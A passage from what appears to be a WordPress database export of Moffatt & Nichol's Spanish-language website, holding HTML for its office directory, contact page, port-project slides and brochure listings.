1740\n\nHonolulu, HI 96813\n\n<strong>teléfono</strong>\n\n+1 808-533-7000\n\n<strong>fax</strong>\n\n+1 808-533-7002\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/hoston.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"8\">HOUSTON</h2>\n<strong>dirección</strong>\n\n11011 Richmond Avenue, Suite 200\n\nHouston, TX 77042\n\n<strong>teléfono</strong>\n\n+1 713-977-7372\n\n<strong>fax</strong>\n\n+1 713-977-7379\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/london.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"9\">LONDRES</h2>\n<strong>dirección</strong>\n\nFifth Floor, 35 Great St. Helen\'s\n\nLondres EC3A 6HB\n\nReino Unido\n\n<strong>teléfono</strong>\n\n+44 (0)20 3206 1062\n\n<strong>fax</strong>\n\n+44 (0)20 3206 1061\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/long-beach.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"10\">LONG BEACH</h2>\n<strong>dirección</strong>\n\n3780 Kilroy Airport Way, Suite 600\n\nLong Beach, CA 90806\n\n<strong>teléfono</strong>\n\n+1 562-426-9551\n\n<strong>fax</strong>\n\n+1 562-424-7489\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://www.moffattnichol.com/wp-content/uploads/2013/08/miami.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"31\">MIAMI</h2>\n<strong>dirección</strong>\n\n3390 Mary Street, Suite 260\n\nCoconut Grove, FL 33133\n\n<strong>teléfono</strong>\n\n+1 786-412-6938\n\n<strong>fax</strong>\n\n\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://www.moffattnichol.com/wp-content/uploads/2013/08/neworleans.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"32\">NUEVA ORLEANS</h2>\n<strong>dirección</strong>\n\n601 Poydras Street, Suite 1860\n\nNew Orleans, LA 70130\n\n<strong>teléfono</strong>\n\n+1 504-648-3560\n\n<strong>fax</strong>\n\n\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-york.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"11\">NUEVA YORK</h2>\n<strong>dirección</strong>\n\n104 West 40th Street, 14th Floor\n\nNueva York, NY 10018\n\n<strong>teléfono</strong>\n\n+1 212-768-7454\n\n<strong>fax</strong>\n\n+1 212-768-7936\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/newfolk.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"12\">NORFOLK</h2>\n<strong>dirección</strong>\n\n800 World Trade Center\n\nNorfolk, VA 23510\n\n<strong>teléfono</strong>\n\n+1 757-628-8222\n\n<strong>fax</strong>\n\n+1 757-628-8244\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/oakland.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"13\">OAKLAND</h2>\n<strong>dirección</strong>\n\n1300 Clay Street, Suite 550\n\nOakland, CA 94612\n\n<strong>teléfono</strong>\n\n+1 510-645-1238\n\n<strong>fax</strong>\n\n+1 510-645-1010\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/orlando.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"14\">ORLANDO</h2>\n<strong>dirección</strong>\n\n1025 Greenwood Blvd., Suite 371\n\nLake Mary, FL 32806\n\n<strong>teléfono</strong>\n\n+1 407-562-2030\n\n<strong>fax</strong>\n\n+1 407-562-2031\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/panama.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"15\">PANAMÁ</h2>\n<strong>dirección</strong>\n\nOcean Business Plaza, Oficina 1204,\n\nAv. Aquilino de la Guardia y Calle 47\n\nPanamá, República de Panamá\n\n<strong>teléfono</strong>\n\n+507-301-0901\n\n<strong>fax</strong>\n\n+507-301-0906\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/religh.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"16\">RALEIGH</h2>\n<strong>dirección</strong>\n\n1616 East Millbrook Road, Suite 160\n\nRaleigh, NC 27609\n\n<strong>teléfono</strong>\n\n+1 919-781-4626\n\n<strong>fax</strong>\n\n+1 919-781-4869\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/richmond.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"17\">RICHMOND</h2>\n<strong>dirección</strong>\n\n1100 Boulders Parkway, Suite 350\n\nRichmond, VA 23225\n\n<strong>teléfono</strong>\n\n+1 804-320-1996\n\n<strong>fax</strong>\n\n+1 804-560-0959\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/rochester.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"18\">ROCHESTER</h2>\n<strong>dirección</strong>\n\n250 Mill Street, Suite 307\n\nRochester, NY 14614\n\n<strong>teléfono</strong>\n\n+1 585-641-7128\n\n<strong>fax</strong>\n\n+1 585-777-4108\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Brazil.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"5\">RÍO DE JANEIRO</h2>\n<strong>dirección</strong>\n\nAv. Afonso Arinos de Melo Franco, no. 222\nBloco 1-Sala 1509\nBarra da Tijuca – Rio de Janeiro – RJ\nCEP 22631-455\n\n<strong>teléfono</strong>\n\n+55 21 3202 6100\n\n<strong>fax</strong>\n\n+55 21 3202 6149\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/sacramento.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"19\">SACRAMENTO</h2>\n<strong>dirección</strong>\n\n5955 Granite Lake Drive, Suite 140\n\nGranite Bay, CA 95746\n\n<strong>teléfono</strong>\n\n+1 510-645-1238\n\n<strong>fax</strong>\n\n+1 510-645-1010\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/san-diago.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"20\">SAN DIEGO</h2>\n<strong>dirección</strong>\n\nM&amp;N BLAYLOCK\n\n1660 Hotel Circle North, Suite 500\n\nSan Diego, CA 92108\n\n<strong>teléfono</strong>\n\n+1 619-220-6050\n\n<strong>fax</strong>\n\n+1 619-220-6055\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#30\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/santiago.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"21\">Santiago</h2>\n<strong>dirección</strong>\n\nAv. Presidente Riesco 5335, Piso 9\n\nLas Condes, Santiago\n\nChile\n\n<strong>teléfono</strong>\n\n+56 2 27143926\n\n<strong>fax</strong>\n\n+56 2 26591204\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/sevanha.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"21\">SAVANNAH</h2>\n<strong>dirección</strong>\n\n2 East Bryan Street, Suite 50\n\nSavannah, GA 31401\n\n<strong>teléfono</strong>\n\n+1 912-231-0044\n\n<strong>fax</strong>\n\n+1 912-231-0046\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/seattle.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"22\">SEATTLE</h2>\n<strong>dirección</strong>\n\n600 University Street, Suite 610\n\nSeattle, WA 98101\n\n<strong>teléfono</strong>\n\n+1 206-622-0222\n\n<strong>fax</strong>\n\n+1 206-622-4764\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/tampa.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"23\">TAMPA</h2>\n<strong>dirección</strong>\n\n1509 W. Swann Avenue, Suite 225\n\nTampa, FL 33606\n\n<strong>teléfono</strong>\n\n+1 813-258-8818\n\n<strong>fax</strong>\n\n+1 813-258-8525\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/vancouver.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"24\">VANCOUVER</h2>\n<strong>dirección</strong>\n\n777 W. Broadway, Suite 301\n\nVancouver BC, Canadá V5Z 4J7\n\n<strong>teléfono</strong>\n\n+1 604-707-9004\n\n<strong>fax</strong>\n\n+1 604-707-9005\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/vicksburg.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"25\">VICKSBURG</h2>\n<strong>dirección</strong>\n\n1905A Mission 66, Suite 6\n\nVicksburg, MS 39180\n\n<strong>teléfono</strong>\n\n+1 601-629-6415\n\n<strong>fax</strong>\n\n+1 601-629-6416\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/walnut-creek.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"26\">WALNUT CREEK</h2>\n<strong>dirección</strong>\n\n2185 N. California Blvd, Suite 500\n\nWalnut Creek, CA 94596-3500\n\n<strong>teléfono</strong>\n\n+1 925-944-5411\n\n<strong>fax</strong>\n\n+1 925-944-4732\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n</div>\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Nuestras oficinas','','inherit','open','open','','14-autosave','','','2014-03-18 16:03:38','2014-03-18 16:03:38','',14,'http://moffattnichol.com/spanish/index.php/2012/05/14-autosave/',0,'revision','',0),(2291,1,'2012-06-15 04:37:25','2012-06-15 04:37:25','<div class=\"content_faq\">\r\n<div class=\"contact-left\">\r\n            <h1>contáctenos</h1>\r\n            Si desea información sobre nuestros mercados y áreas de especialización, complete el formulario y un representante de Moffatt & Nichol se pondrá en contacto con usted a la brevedad. \r\n\r\n            También puede visitar <a href=\"http://moffattnichol.com/spanish/our-offices/\">nuestras oficinas</a> para ponerse en contacto con alguien en su área.\r\n            \r\n            Puede comunicarse con nuestro grupo de desarrollo de negocios escribiendo a <a href=\"mailto:inquiry@moffattnichol.com\">inquiry@moffattnichol.com</a> o llamando al (562) 590-6500 / (540)-662-6623.\r\n            <div class=\"contact-connectlink\">\r\n              Conéctese con nosotros:\r\n              <a href=\"http://twitter.com/moffattnichol/\" target=\"_blank\" title=\"Twitter\">Twitter </a>| <a href=\"http://www.facebook.com/moffattnichol\" target=\"_blank\" title=\"Facebook\">Facebook </a>| <a href=\"http://www.linkedin.com/company/moffatt-&-nichol\" target=\"_blank\" title=\"Linked in\">Linked.in </a></div>\r\n\r\n<br />\r\n\r\n<h3>empleo</h3> El éxito de nuestra firma se debe en gran parte al conocimiento, experiencia y compromiso de nuestro variado equipo de profesionales. Únase a nosotros y disfrute de una gratificante carrera profesional con Moffatt &amp; Nichol. Para ver las oportunidades de desarrollo profesional, visite nuestra <a href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&cws=1\">página de empleos</a>.\r\n\r\n<br />\r\n\r\n<h3>participación de pequeñas empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeñas compañías calificadas para complementar nuestro conocimiento técnico interno. Si desea conocer más sobre nuestras oportunidades para pequeñas empresas, visite nuestra <a href=\"http://moffattnichol.com/spanish/small-business-outreach/\">página de participación de pequeñas empresas</a>.\r\n </div>\r\n\r\n<div class=\"partnership_right\">\r\n<h4>formulario de contacto</h4>\r\n<div class=\"txt_boxbg\">\r\n            <span>[contact-form-7 id=\"2380\" title=\"Contact form 1\"]</span>\r\n            </div>\r\n<div class=\"clear\"></div>\r\n<div class=\"clear\"></div>\r\n</div>\r\n</div>\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Contáctenos','','inherit','open','open','','16-autosave','','','2012-06-15 04:37:25','2012-06-15 04:37:25','',16,'http://moffattnichol.com/spanish/index.php/2012/05/16-autosave/',0,'revision','',0),(2293,1,'2012-05-17 09:28:41','2012-05-17 09:28:41','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ports-new/ports-ten.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Terminal de contenedores del Middle Harbor del puerto de Long Beach</div>\r\n<div class=\"gallary-text\">El Puerto de Long Beach seleccionó a Moffatt & Nichol para prestar servicios generales de gestión del programa para la planificación y el diseño de una terminal de contenedores totalmente automatizada de 132 hectáreas.</div>\r\n</div>\r\n','Ports one','','publish','closed','closed','','ports-one','','','2012-08-29 14:16:57','2012-08-29 14:16:57','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2293',1,'anything_slides','',0),(2294,1,'2012-05-17 09:32:24','2012-05-17 09:32:24','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ports-new/ports-six.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Diseño detallado de la terminal de contenedores del Puerto Khalifa</div>\r\n<div class=\"gallary-text\">Abu Dhabi Ports Company contrató los servicios de Moffatt & Nichol como principal consultor de diseño para la infraestructura de la terminal de contenedores automatizada en Puerto Khalifa, una novedosa instalación en una isla de 87 hectáreas.</div>\r\n</div>','Ports two','','publish','closed','closed','','ports-two','','','2012-08-29 14:16:49','2012-08-29 14:16:49','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2294',2,'anything_slides','',0),(2295,1,'2012-05-17 09:33:39','2012-05-17 09:33:39','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ports-new/ports-seven.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Debida diligencia para una planta de exportación de minerales de hierro</div>\r\n<div class=\"gallary-text\">Moffatt & Nichol revisó los aspectos técnicos, financieros y de implementación de la construcción de una planta de exportación de minerales de hierro en Brasil con una capacidad de procesamiento de 50 millones de toneladas anuales.</div>\r\n</div>','Ports Three','','publish','closed','closed','','ports-three','','','2012-08-29 14:16:51','2012-08-29 14:16:51','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2295',3,'anything_slides','',0),(2296,1,'2012-05-17 09:41:31','2012-05-17 09:41:31','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ports-new/ports-nine.jpg\" />\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Expansión de sitio de atraque 3 en Deltaport </div>\r\n<div class=\"gallary-text\">Como miembro de un equipo de dos compañías, Moffatt & Nichol completó el diseño detallado de uno de los mayores proyectos de ingeniería portuaria en la historia de la Columbia Británica: la expansión del tercer sitio de atraque en la terminal de contenedores Deltaport de Vancouver Port Authority en Roberts Bank.</div>\r\n</div>','Ports Four','','publish','closed','closed','','ports-four','','','2012-08-29 14:16:53','2012-08-29 14:16:53','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2296',4,'anything_slides','',0),(2297,1,'2012-05-17 09:50:35','2012-05-17 09:50:35','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ports-new/ports-eight.jpg\" />\r\n\r\n<div class=\"gallary-discription\">\r\n<div class=\"gallary-title\">Reemplazo del muelle 5 de reparación de naves</div>\r\n<div class=\"gallary-text\">Moffatt & Nichol lideró una empresa conjunta con MN3M que se encargó del planeamiento, el análisis, la representación, los documentos de contratos de diseño-licitación-construcción, la gerencia del proyecto y los servicios de adjudicación posteriores a la construcción para construir un nuevo muelle de reparación de naves de $165 millones en el astillero naval de Norfolk, Virginia.</div>\r\n</div>\r\n','Ports Five','','publish','closed','closed','','ports-five','','','2012-08-29 14:16:56','2012-08-29 14:16:56','',0,'http://moffattnichol.com/spanish/?post_type=anything_slides&#038;p=2297',5,'anything_slides','',0),(2298,1,'2011-10-18 11:23:52','2011-10-18 11:23:52','<div class=\"content_faq\">\n<div class=\"banner-space\">\n        [vslider name=\"ports\"]\n        </div>\n       <div class=\"ports-left\">\n            <h3>puertos y terminales marÃtimas</h3> Como una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. Somos reconocidos internacionalmente por proporcionar soluciones innovadoras a la industria portuaria y marÃtima. Participamos en la llegada de la contenedorizaciÃ³n y tenemos expertos tÃ©cnicos que conocen profundamente las complejas tendencias de hoy del movimiento de mercancÃas y las regulaciones ambientales. Ofrecemos capacidades internas integradas, desde el anÃ¡lisis del concepto y el estudio de factibilidad hasta el planeamiento, el diseÃ±o y la construcciÃ³n. Moffatt & Nichol puede dar soporte, prÃ¡cticamente, a cualquier tarea portuaria, marÃtima o de transporte de carga desde sus oficinas y centros ubicados en NorteamÃ©rica, Europa y AmÃ©rica Latina.\n   <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/ports%20and%20harbors%20services/\">Examinar los servicios portuarios y de terminales marÃtimas >></a></div>        \n</div>\n         <div class=\"brochure-wrapper-ports\">\n             <h3>publicaciones relevantes</h3><br />\n            <div class=\"brochure-one\">\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-1.jpg\" /></div>\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\n                <strong class=\"green-new\">FOLLETO DE PUERTOS Y TERMINALES MARÃTIMAS</strong><br />\n                Moffatt & Nichol es una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos del mundo y ha jugado un papel importante en la evoluciÃ³n del puerto moderno.</div>\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-and-marine-terminals-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div>\n              \n            <div class=\"brochure-one\">\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-2.jpg\" /></div>\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\n                <strong class=\"green-new\">FOLLETO DE AUTOMATIZACIÃ“N PORTUARIA</strong><br />\n                Con dÃ©cadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marÃtimas de todo el mundo, Moffatt & Nichol es reconocido como un lÃder e innovador en el planeamiento y el diseÃ±o  </div>\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-automation-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1AUTOMATION.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\n              \n            <div class=\"brochure-one\">\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-3.jpg\" /></div>\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\n                <strong class=\"green-new\">FOLLETO DE SEGURIDAD PORTUARIA</strong><br />\n               Con mÃ¡s de 60 aÃ±os de experiencia, Moffatt & Nichol es un lÃder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marÃtima. De acuerdo con iniciativas de Seguridad Nacional &nbsp;\n </div>\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-security-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1SECURITY.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\n              \n            <div class=\"brochure-last\">\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-4.jpg\" /></div>\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\n                <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES GLOBALES</strong><br />\n              Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marÃtimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan  </div>\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/global-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/GLOBAL1COMMERCIAL1ADVISORY1SERVICES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\n        </div>\n        \n        <div class=\"brochure-wrapper-ports\">\n            <div class=\"brochure-one\">\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-5.jpg\" /></div>\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\n                <strong class=\"green-new\">FOLLETO DE INSTALACIONES DE MANIPULACIÃ“N DE GRANELES</strong><br />\n                Moffatt & Nichol, una de las principales firmas de planeamiento e ingenierÃa marÃtimos en el mundo, ofrece a los clientes un conjunto completo de servicios de planeamiento y diseÃ±o para terminales e instalaciones de manipulaciÃ³n de materiales a granel.</div>\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-facilities-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div> \n              <div class=\"brochure-one\">\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-6.jpg\" /></div>\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\n                <strong class=\"green-new\">FOLLETO DE TERMINALES FLUVIALES Y DE MANIPULACIÃ“N DE GRANELES </strong><br />\n                Los sistemas fluviales de Estados Unidos conectan el centro del paÃs con el mercado internacional. Como una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos de nuestra naciÃ³n,</div>\n              <span class=\"moreheadlines-newone fr\"><a 